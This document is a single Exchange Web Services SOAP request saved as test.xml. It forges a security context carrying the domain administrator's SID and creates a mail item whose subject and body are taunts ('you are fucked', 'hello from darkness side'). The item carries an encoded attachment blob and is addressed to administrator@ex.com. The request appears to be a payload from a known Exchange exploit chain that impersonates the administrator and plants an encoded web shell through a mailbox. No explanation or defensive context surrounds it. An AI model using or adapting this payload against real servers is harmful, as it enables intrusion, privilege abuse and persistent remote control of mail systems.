test.xml

<soap:Envelope
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016" />
    <t:SerializedSecurityContext>
      <t:UserSid>S-1-5-21-3109812776-1473611157-1400307056-500</t:UserSid>
      <t:GroupSids>
        <t:GroupIdentifier>
          <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
        </t:GroupIdentifier>
      </t:GroupSids>
    </t:SerializedSecurityContext>
  </soap:Header>
  <soap:Body>
    <m:CreateItem MessageDisposition="SaveOnly">
      <m:Items>
        <t:Message>
          <t:Subject>you are fucked</t:Subject>
          <t:Body BodyType="HTML">hello from darkness side</t:Body>
          <t:Attachments>
            <t:FileAttachment>
              <t:Name>FileAttachment.txt</t:Name>
              <t:IsInline>false</t:IsInline>
              <t:IsContactPhoto>false</t:IsContactPhoto>
              <t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
            </t:FileAttachment>
          </t:Attachments>
          <t:ToRecipients>
            <t:Mailbox>
              <t:EmailAddress>administrator@ex.com</t:EmailAddress>
            </t:Mailbox>
          </t:ToRecipients>
        </t:Message>
      </m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>